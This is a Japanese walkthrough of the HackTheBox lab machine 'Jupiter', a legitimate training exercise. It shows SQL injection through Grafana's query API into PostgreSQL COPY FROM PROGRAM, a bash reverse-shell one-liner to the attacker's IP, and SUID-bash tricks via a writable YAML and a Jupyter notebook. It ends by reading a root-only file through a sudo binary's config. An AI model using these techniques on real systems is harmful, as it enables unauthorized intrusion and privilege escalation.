LoginSignup
2
2

今回は、HackTheBoxのMediumマシン「Jupiter」のWriteUpです!
名前からして、Jupyterしか思いつきませんが、どのようなマシンなのでしょうか!
スクリーンショット 2023-10-22 233256.png
グラフはしっかり難しそうですね。。。
攻略目指して頑張ります!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Jupiter

それでは、攻略を開始します。

まずはポートスキャンから行います。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ sudo nmap -n -Pn -v -T4 -p- -sV 10.10.11.216 -oN nmap.log

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

いつものように、22番と80番を確認しました。
では、80番へアクセスし、Webの探索を開始します。
image.png
Jupiterという名前通り、惑星に関係していそうなWebページが表示されました。
色々とみてみましたが、見えている範囲では特に怪しい部分はなさそうです。
ディレクトリ探索も行いましたが、特に新しい情報を得ることはできませんでした。

次の手としては、サブドメインを列挙することです。
今回のサーバはドメインが与えられているので、サブドメインが存在する可能性があります。ffufで列挙してみましょう。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.jupiter.htb" -u http://10.10.11.216 -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/  '     

       v2.0.0-dev
________________________________________________

[Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 199ms]
    * FUZZ: kiosk

:: Progress: [151265/151265] :: Job [1/1] :: 220 req/sec :: Duration: [0:12:10] :: Errors: 0 ::

kioskを発見しました!hostsファイルに追記し、アクセスします。
image.png
こちら側でも惑星の話がされています。
このサブドメインでは、Grafanaが採用されており、ログインページも確認できました。
image.png
デフォルトの認証(admin/admin)を試してみましたが、流石にそう簡単にはログインできなかったので、ほかの方法を探していきます。

ログインページ発見後、ディレクトリ探索やバージョン検索、パラメータを変更したりしてみましたが、特に怪しい部分は見つかりません。さらなる情報を見つけるために、Burp Suiteで通信を確認したところ、/api/へリクエストが送信されていることが分かりました。
image.png
その中の/api/ds/queryへのリクエストを見てみると、何やら怪しい文字列を発見しました。
image.png
写真では少し見えにくいと思いますが(拡大していただけると助かります)、リクエストのJSONでSQL文を発見しました。
対応するレスポンスを見てみると、count(parent)に対応する値「80」が出力されており、SQL文の実行がうまくいったことが分かります。SQL文を書き換えることで、認証情報を取得できるのではないでしょうか。試してみましょう。

"rawSql":"select \n * \n from \n user;"

まずは、userテーブルを出力させたいので、上記のSQL文に書き換えリクエストを送信してみます。
image.png
ユーザ?らしき文字列が出力されました!しかし、パスワードが見当たりません。userテーブルには保存されていないようです。
パスワードを見つけるために、思いつくテーブル名を試しましたが、パスワードはないようです。
認証情報を取得する用途ではなく、ほかの用途でSQLを実行する必要がありそうです。次に一番に思いつくのは、ファイルの読み出しです。
grafanaは、ファイルに認証情報が書かれていることが多いので、読み出しをすることで、認証情報を取得できるかもしれません。

では、まずはファイルを書き込むテーブルを作成します。先ほどと同じようにBurp Suiteを使用して、SQLを書き換えます。

"rawSql":"create \n table \n test(t text);"

今回は、testというテーブルを作成するようにしました。
テーブルが作成できたので、ファイルの内容をコピーします。まずはテストとしてpasswdファイルの読み出しを目指します。

"rawSql":"copy \n test \n from \n '/etc/passwd';"

コピーが完了したので、select文を実行し、ファイルの内容が取得できるか試してみましょう。下記のSQLを実行します。

"rawSql":"select \n * \n from \n test;"

レスポンスを確認します。
image.png
passwdファイルの内容が出力されています!ファイルの読み出しに成功しました!
読み出しが可能であることがわかったので、grafanaの設定ファイルであるgrafana.iniの読み出しを目指します。
image.png
権限ではじかれてしまいました。。。
他にもいくつか考えられるファイルを列挙しましたが、こちらも全て権限で弾かれてしまいました。

CVE-2019–9193

では、他になにかできることはないでしょうか。。。
GoogleでPostgreSQL Exploitと検索すると、Exploit DBでCVEを発見しました。

どうやら、RCEが発火する脆弱性が存在するようです。
どのようなコードを実行しているか見てみましょう。

cursor.execute("DROP TABLE IF EXISTS {1};\
                CREATE TABLE {1}(cmd_output text);\
                COPY {1} FROM PROGRAM '{0}';\
                SELECT * FROM {1};".format(args.command,tableName))

コードによると、新しいテーブルを作成し、作成後、{0}で指定したコマンドをコピーすることにより、実行されるようです。
公開されているPoCをそのまま実行することもできるのですが、今回は手元で試してみたいと思います。
まずは、テーブルが存在している場合に削除させる処理を行います。今回のテーブル名はrce_tableにします。
image.png
200番が返ってきたので、SQLがうまく実行できたのではないかと予想できます。
では、次の処理に移りましょう。次はrce_tableを作成します。
image.png
同じように、200番が返ってきました。成功していると信じて、次の処理に移ります。
次はいよいよコマンドを指定します。リバースシェルを取得したいですが、まずはpingが実行できるかを見てみます。
コピーする前に、pingを受け取るための待ち受けを作成します。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

待ち受けの作成が完了したので、コマンドを指定しコピーしていきます。
image.png
200番が返ってきているので、待ち受けの方で通信が確認できているか見てみましょう。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ sudo tcpdump -i tun0 icmp
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:54:37.115613 IP jupiter.htb > 10.10.14.5: ICMP echo request, id 2, seq 1, length 64
19:54:37.115787 IP 10.10.14.5 > jupiter.htb: ICMP echo reply, id 2, seq 1, length 64
19:54:38.117259 IP jupiter.htb > 10.10.14.5: ICMP echo request, id 2, seq 2, length 64
19:54:38.117290 IP 10.10.14.5 > jupiter.htb: ICMP echo reply, id 2, seq 2, length 64
19:54:39.118978 IP jupiter.htb > 10.10.14.5: ICMP echo request, id 2, seq 3, length 64
19:54:39.119017 IP 10.10.14.5 > jupiter.htb: ICMP echo reply, id 2, seq 3, length 64

通信が確認できました!RCEが発火したので、リバースシェルを取得できそうです!

postgresとしてのシェル

それでは、リバースシェルの取得を目指していきます。
先ほどのpingをリバースシェルを飛ばすbashのコマンドに変更します。
指定するコマンドは下記です。

bash -c \"bash -i >& /dev/tcp/10.10.14.5/2121 0>&1\"

HackTheBoxをやっている方にはおなじみのコマンドです。
こちらもコピーする前に、リバースシェルの待ち受けを作成しておきます。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...

待ち受けが作成できたので、SQLを実行させます。
image.png
レスポンスをすぐに確認することはできないので、待ち受けを見てみましょう。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.216] 59244
bash: cannot set terminal process group (1562): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ whoami
postgres

リバースシェルを取得できました!侵入成功です!

横移動

postgresユーザには、ホームディレクトリも存在せず、ユーザフラグを確認することもできないので横移動が必要そうです。
まずは、ホームディレクトリを確認し、どのようなユーザが存在するのか見てみます。

postgres@jupiter:/home$ ls -l
ls -l
total 8
drwxr-x--- 6 jovian jovian 4096 May  4 18:59 jovian
drwxr-x--- 8 juno   juno   4096 May  4 12:10 juno

ホームディレクトリにより、jovianユーザとjunoユーザの存在を確認できました。
それぞれのユーザのディレクトリに対してアクセスする権限がないので他にこれらのユーザが所有しているファイルでアクセスできるものがないか検索してみます。

postgres@jupiter:/home$ find / -user juno 2>/dev/null
/dev/shm/shadow.data
/dev/shm/shadow.data/sim-stats.json
/dev/shm/shadow.data/processed-config.yaml
/dev/shm/shadow.data/hosts
/dev/shm/shadow.data/hosts/server
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.exitcode
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.shimlog
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stderr
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.stdout
/dev/shm/shadow.data/hosts/client3
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stderr
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.stdout
/dev/shm/shadow.data/hosts/client2
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stderr
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.stdout
/dev/shm/shadow.data/hosts/client1
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.shimlog
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stderr
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.stdout
/dev/shm/network-simulation.yml
/home/juno

junoユーザのファイルを検索してみると、いくつか出力が見られます。どうやら/dev/shmディレクトリ内が怪しそうです。アクセスしてみましょう。

postgres@jupiter:/dev/shm$ ls -l
total 32
-rw-rw-rw- 1 juno     juno       815 Mar  7 12:28 network-simulation.yml
-rw------- 1 postgres postgres 26976 Jul 27 10:09 PostgreSQL.1444652576
drwxrwxr-x 3 juno     juno       100 Jul 27 11:26 shadow.data

ymlファイルとshadowというディレクトリがあるようです。ymlファイルの中身を見てみましょう。

postgres@jupiter:/dev/shm$ cat network-simulation.yml
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

見てみると、サーバ側の設定でpython3 -m http.server 80が実行され、クライアントでcurlが実行されています。
どうやらWebサーバはymlファイルで指定されたコマンドにより起動しているようです。ymlファイルに記述されたコマンドを実行しているのであれば、実行するコマンドを書き換えることにより横移動を行えるかもしれません。
もう一度、ls -lを実行し、権限を確認してみましょう。

postgres@jupiter:/dev/shm$ ls -la
total 32
drwxrwxrwt  3 root     root       100 Jul 29 14:00 .
drwxr-xr-x 20 root     root      4040 Jul 29 13:46 ..
-rw-rw-rw-  1 juno     juno       815 Mar  7 12:28 network-simulation.yml
-rw-------  1 postgres postgres 26976 Jul 29 13:46 PostgreSQL.4246195056
drwxrwxr-x  3 juno     juno       100 Jul 29 14:00 shadow.data

書き込み権限があります!これでコマンドを任意のものに書き換えられることが分かりました。

junoとしてのシェル

では、どのようなコマンドを実行するのかですが、今回はbashにSUIDを付与させたいと思います。
通常のbashにはroot権限がないとSUIDを付与できませんが、junoユーザの権限でコピーさせることで所有者がjunoユーザになりSUIDを付与することが可能になります。
実際にymlファイルを変更します。

postgres@jupiter:/dev/shm$ cat network-simulation.yml 
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp # Change
      args: /bin/bash /tmp/bash # Change
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod # Change
      args: u+s /tmp/bash # Change
      start_time: 5s

bashファイルはtmpディレクトリにコピーしています。
変更が完了したら、tmpディレクトリを見てみましょう。

postgres@jupiter:/tmp$ ls -l
total 1392
-rwsr-xr-x 1 juno juno 1396520 Jul 29 14:08 bash
drwx------ 2 root root    4096 Jul 29 13:46 snap-private-tmp
drwx------ 3 root root    4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbedgrafana-server.service-dF8vl4
drwx------ 3 root root    4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbedModemManager.service-nT0fkI
drwx------ 3 root root    4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-logind.service-mWXmOM
drwx------ 3 root root    4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-resolved.service-62skLK
drwx------ 3 root root    4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-timesyncd.service-kyuG4O
drwx------ 2 root root    4096 Jul 29 13:46 vmware-root_810-2957517899

bashが作成され、SUIDが付与されていることが分かります!
あとは実行するだけです!

postgres@jupiter:/tmp$ ./bash -p
bash-5.1$ whoami
juno

シェルの取得に成功しました!

bash-5.1$ ls -l
total 12
drwxrwxr-x 12 juno juno 4096 Mar  9 10:31 shadow
-rwxrwxr-x  1 juno juno  174 Apr 14 14:28 shadow-simulation.sh
-rw-r-----  1 root juno   33 Jul 29 13:46 user.txt

ようやくフラグもゲットです!

横移動

フラグがゲットできたので、権限昇格か?と思いましたが、ホームディレクトリにはあともう一人ユーザが存在します。

bash-5.1$ ls -l /home
total 8
drwxr-x--- 6 jovian jovian 4096 May  4 18:59 jovian
drwxr-x--- 8 juno   juno   4096 May  4 12:10 juno

恐らく、jovianユーザになる必要がありそうです。
まずは、junoユーザのホームディレクトリ内を探索してみましょう。

bash-5.1$ ls -la
total 52
drwxr-x---  8 juno juno 4096 May  4 12:10 .
drwxr-xr-x  4 root root 4096 Mar  7 13:00 ..
lrwxrwxrwx  1 juno juno    9 Mar  7 10:45 .bash_history -> /dev/null
-rw-r--r--  1 juno juno  220 Jan  6  2022 .bash_logout
-rw-r--r--  1 juno juno 3792 Mar  7 10:00 .bashrc
drwx------  3 juno juno 4096 May  4 18:59 .cache
drwxrwxr-x  5 juno juno 4096 Mar  7 10:02 .cargo
drwxrwxr-x  5 juno juno 4096 Mar  7 12:08 .local
-rw-r--r--  1 juno juno  828 Mar  7 10:00 .profile
drwxrwxr-x  6 juno juno 4096 Mar  7 10:01 .rustup
drwxrwxr-x 12 juno juno 4096 Mar  9 10:31 shadow
-rwxrwxr-x  1 juno juno  174 Apr 14 14:28 shadow-simulation.sh
drwx------  2 juno juno 4096 Mar  7 09:55 .ssh
-rw-r-----  1 root juno   33 Jul 29 13:46 user.txt

いくつか普段見ないディレクトリを発見しました。試しに探索し、有益な情報を得られないかみてみましたが、特に何も見つかりませんでした。
他に気になるディレクトリは.sshです。どのようなファイルがあるか見てみましょう。

bash-5.1$ ls -la
total 8
drwx------ 2 juno juno 4096 Mar  7 09:55 .
drwxr-x--- 8 juno juno 4096 May  4 12:10 ..
-rw------- 1 juno juno    0 Mar  7 09:55 authorized_keys

秘密鍵を見つけることはできませんでしたが、authorized_keyを発見しました。どうやらSSH接続が許可されていそうなので、kali側で鍵を用意しSSH接続を行いましょう。
kali側で鍵を用意する方法はssh-keygenを実行することです。

🐧+[~]
Ex9loit👾<10.10.14.5>$ ssh-keygen

特に鍵の作成先を指定しない場合、/home/<user>/.sshに鍵が作成されます。作成された公開鍵id_rsa.pubをターゲットのauthorized_keysと入れ替えます。
入れ替えるために、pythonでサーバを立てておきます。

🐧+[~/.ssh]
Ex9loit👾<10.10.14.5>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

サーバが立ち上がったので、ターゲットでwgetを実行しダウンロードさせます。

bash-5.1$ wget http://10.10.14.5/id_rsa.pub
--2023-07-29 14:27:25--  http://10.10.14.5/id_rsa.pub
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/vnd.exstream-package]
Saving to: ‘id_rsa.pub’

id_rsa.pub          100%[===================>]     563  --.-KB/s    in 0s      

2023-07-29 14:27:26 (75.7 MB/s) - ‘id_rsa.pub’ saved [563/563]

ダウンロードができたら、名前を変更します。

bash-5.1$ mv id_rsa.pub authorized_keys

これで準備ができたので、SSH接続しましょう。

🐧+[~/.ssh]
Ex9loit👾<10.10.14.5>$ ssh -i id_rsa juno@10.10.11.216
juno@jupiter:~$ whoami
juno

SSH接続成功です!これでシェルがより安定するようになりました。

jupiter

では、気を取り直して列挙を再開します。
ホームディレクトリには特にめぼしいものはなかったので、次に動いているサービスを調べることにしました。

juno@jupiter:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -   

新たなポートを発見しました!恐らくWebサーバが動いていそうなので、実際にアクセスしてみましょう。
アクセスを可能にするために、まずは、SSHでポートフォワーディングを行います。

🐧+[~]
Ex9loit👾<10.10.14.5>$ ssh -i .ssh/id_rsa -L 8888:127.0.0.1:8888 juno@10.10.11.216

接続が成功したら、firefoxで127.0.0.1:8888にアクセスします。
image.png
Jupyterのページが表示されました!冒頭で、「JupiterといえばJupyterしか思いつきません笑」と言っていましたが、まさかあっていたとは!
よく見てみると、ログインするためにトークンが必要であるようです。
Jupyterの認証情報やトークンに関する情報を取得するために、findで検索をかけてみます。

juno@jupiter:~$ find / -name *jupyter* 2>/dev/null
/opt/solar-flares/logs/jupyter-2023-05-04-20.log
/opt/solar-flares/logs/jupyter-2023-05-30-53.log
/opt/solar-flares/logs/jupyter-2023-05-04-31.log
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-04-13-43.log
/opt/solar-flares/logs/jupyter-2023-05-04-07.log
/opt/solar-flares/logs/jupyter-2023-03-10-42.log
/opt/solar-flares/logs/jupyter-2023-05-04-08.log
/opt/solar-flares/logs/jupyter-2023-05-04-06.log

多く検索がヒットしますが、私は一番上のlogファイルに注目しました。ログファイルには認証情報やトークンが書かれていることが多いからです。
複数のログファイルがあるみたいですが、日付的に一番最新であるものを選び、内容を確認してみます。

juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-07-29-46.log 
[W 13:46:10.913 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 13:46:10.923 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 13:46:10.923 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 13:46:10.923 NotebookApp] http://localhost:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
[I 13:46:10.923 NotebookApp]  or http://127.0.0.1:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
[I 13:46:10.923 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 13:46:10.929 NotebookApp] No web browser found: could not locate runnable browser.
[C 13:46:10.929 NotebookApp] 
    
    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-1172-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd
     or http://127.0.0.1:8888/?token=628a7a5a076d1e52e012c564eb6735786675e8d2853247fd

トークンが記載されています!ここにあるトークンでログインできないか試してみましょう。
image.png
ログインできました!いくつかファイルがありますが、今回はコマンドを実行したいだけなので内容の確認はしません。

jovianとしてのシェル

では、どうやって実行するかですが、新しいファイルを作成することで任意のコマンドを実行できます。実際に作成していきましょう。
image.png
まず一覧画面の横のNewを押します。すると、新しいノートブックを作成できるので、Python3を選択します。
image.png
選択すると、新しいノートブックの画面が現れます。ここでコマンドを実行可能です。
コマンドを入力しましょう。
image.png
入力したコマンドはjunoユーザのシェルを取得した時と同じコマンドを指定しています。
入力ができたので、上から一つずつ実行していきます。
image.png
特にエラーも出ていないので、tmpディレクトリ内を確認してみましょう。

juno@jupiter:/tmp$ ls -l
total 1392
-rwsr-xr-x 1 jovian jovian 1396520 Jul 29 15:07 bash
drwx------ 2 root   root      4096 Jul 29 13:46 snap-private-tmp
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-grafana-server.service-dF8vl4
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-ModemManager.service-nT0fkI
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-logind.service-mWXmOM
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-resolved.service-62skLK
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-timesyncd.service-kyuG4O
drwx------ 2 root   root      4096 Jul 29 13:46 vmware-root_810-2957517899

jovianユーザでSUIDが付与されています!bashを実行しましょう!

juno@jupiter:/tmp$ ./bash -p
bash-5.1$ whoami
jovian

横移動に成功しました!

権限昇格

ここまでかなり長い戦いでしたが、ようやく最後の砦、権限昇格です。
まずはいつものようにsudo -lを実行します。

bash-5.1$ sudo -l
[sudo] password for juno: 
Sorry, try again.

junoユーザのパスワードが求められてしまいました。そうでした。今回の横移動では前のユーザのパスワードがもとめられてしまいます。なのでシェルの取得の方法を変更しましょう。
先ほどのJupyterで、リバースシェルの取得を目指します。実行させるコマンドはおなじみのbashです。
image.png
入力が完了したらkali側で待ち受けを作成し、コマンドを実行します。

🐧+[~/Jupiter]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2122           
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.216] 49888
jovian@jupiter:/opt/solar-flares$ whoami
jovian

シェルが取得できました!
それではもう一度sudo -lを実行してみます。

jovian@jupiter:/opt/solar-flares$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

sudo -lがうまく実行できました!どうやらsattrackというファイルをroot権限で実行できるようです。

sattrack

どのようなファイルなのか見てみましょう。

jovian@jupiter:/usr/local/bin$ ls -l sattrack
ls -l sattrack
-rwxr-xr-x 1 root root 1113632 Mar  8 12:07 sattrack

どうやらバイナリファイルのようです。試しに実行してみましょう。

jovian@jupiter:/usr/local/bin$ ./sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!

設定ファイルが見つからないというエラーが出力されました。sudoを付けて実行してみましたが、同じ出力でした。
バイナリなのでcatコマンドではどのような処理が行われているか見ることはできませんが、stringsとgrepを合わせることでどのような設定ファイルが必要なのかを知ることができるかもしれません。Configurationをキーワードにその周辺を検索してみます。

jovian@jupiter:/usr/local/bin$ strings sattrack | grep Configuration -3
 at line 
, column 
/tmp/config.json
Configuration file has not been found. Please try again!
tleroot
tleroot not defined in config
tleroot is not a string

検索がヒットしました!tmpディレクトリにあるconfig.jsonファイルを設定ファイルとしているようです。しかし、どのような内容を記述すればよいのか分かりません。ターゲット内にconfig.jsonが存在していないか検索してみます。

jovian@jupiter:/usr/local/bin$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json

shareディレクトリ内にconfig.jsonを発見しました!まずはtmpディレクトリにコピーします。

jovian@jupiter:/usr/local/bin$ cp /usr/local/share/sattrack/config.json /tmp/config.json

コピーができたら、内容を確認します。

jovian@jupiter:/tmp$ cat config.json
{
	"tleroot": "/tmp/tle/",
	"tlefile": "weather.txt",
	"mapfile": "/usr/local/share/sattrack/map.json",
	"texturefile": "/usr/local/share/sattrack/earth.png",
	
	"tlesources": [
		"http://celestrak.org/NORAD/elements/weather.txt",
		"http://celestrak.org/NORAD/elements/noaa.txt",
		"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
	],
	
	"updatePerdiod": 1000,
	
	"station": {
		"name": "LORCA",
		"lat": 37.6725,
		"lon": -1.5863,
		"hgt": 335.0
	},
	
	"show": [
	],
	
	"columns": [
		"name",
		"azel",
		"dis",
		"geo",
		"tab",
		"pos",
		"vel"
	]
}

色々と書いてありますが、とりあえずtmpディレクトリ内にconfig.jsonを配置することができたので、再度実行してみます。

jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/noaa.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle
Could not resolve host: celestrak.org
Satellites loaded
No sats

出力を見てみると、どうやらjsonファイル内のtlesourcesで指定されたURLに対してリクエストを行っているようです。実行自体はホストの名前解決が出来ず失敗しています。また、tmpディレクトリ内にtleというディレクトリを作成しているようです。見てみましょう。

jovian@jupiter:/tmp$ ls -l
total 1400
-rwsr-xr-x 1 jovian jovian 1396520 Jul 29 15:07 bash
-rw-r--r-- 1 jovian jovian     610 Jul 29 15:35 config.json
drwx------ 2 root   root      4096 Jul 29 13:46 snap-private-tmp
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-grafana-server.service-dF8vl4
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-ModemManager.service-nT0fkI
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-logind.service-mWXmOM
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-resolved.service-62skLK
drwx------ 3 root   root      4096 Jul 29 13:46 systemd-private-9f6eeba4fe9948dd864fa2c6e447bbed-systemd-timesyncd.service-kyuG4O
drwxr-xr-x 2 root   root      4096 Jul 29 15:38 tle
drwx------ 2 root   root      4096 Jul 29 13:46 vmware-root_810-2957517899

確かに確認できました。tleディレクトリ内を見てみましょう。

jovian@jupiter:/tmp/tle$ -la
total 8
drwxr-xr-x  2 root root 4096 Jul 29 15:38 .
drwxrwxrwt 15 root root 4096 Jul 29 15:40 ..
-rw-r--r--  1 root root    0 Jul 29 15:38 gp.php?GROUP=starlink&FORMAT=tle
-rw-r--r--  1 root root    0 Jul 29 15:38 noaa.txt
-rw-r--r--  1 root root    0 Jul 29 15:37 weather.txt

リクエストには失敗していましたが、指定されたURLのファイルが作成されています。これによりtlesourcesで指定されたファイルがtleディレクトリの配下に作成されることが分かりました。

rootとしてのシェル(フラグのみ)

ここで私は、tlesourceをroot.txtに変更することで、ルートフラグを取得できる可能性があることに気付きました。
本来バイナリファイルがある時は、kali側にファイルをダウンロードし、デバッグを行い、権限昇格を狙うのですが、今回は可能性に気付いたので先に実行してみます。
まずはconfig.jsonをroot.txtに変更します。

jovian@jupiter:/tmp$ cat config.json
{
	"tleroot": "/tmp/tle/",
	"tlefile": "weather.txt",
	"mapfile": "/usr/local/share/sattrack/map.json",
	"texturefile": "/usr/local/share/sattrack/earth.png",
	
	"tlesources": [
		"file:///root/root.txt"
	],
	
	"updatePerdiod": 1000,
	
	"station": {
		"name": "LORCA",
		"lat": 37.6725,
		"lon": -1.5863,
		"hgt": 335.0
	},
	
	"show": [
	],
	
	"columns": [
		"name",
		"azel",
		"dis",
		"geo",
		"tab",
		"pos",
		"vel"
	]
}

変更ができたので、実行します。

jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
Satellites loaded
No sats

特にエラーは出ていなさそうです。tleディレクトリの中を確認してみましょう。

jovian@jupiter:/tmp/tle$ ls -l
total 4
-rw-r--r-- 1 root root  0 Jul 29 15:38 'gp.php?GROUP=starlink&FORMAT=tle'
-rw-r--r-- 1 root root  0 Jul 29 15:38  noaa.txt
-rw-r--r-- 1 root root 33 Jul 29 15:55  root.txt
-rw-r--r-- 1 root root  0 Jul 29 15:37  weather.txt

root.txtが追加されています!フラグが書かれているか確認してみましょう。

jovian@jupiter:/tmp/tle$ cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

完全攻略達成です!

攻略を終えて

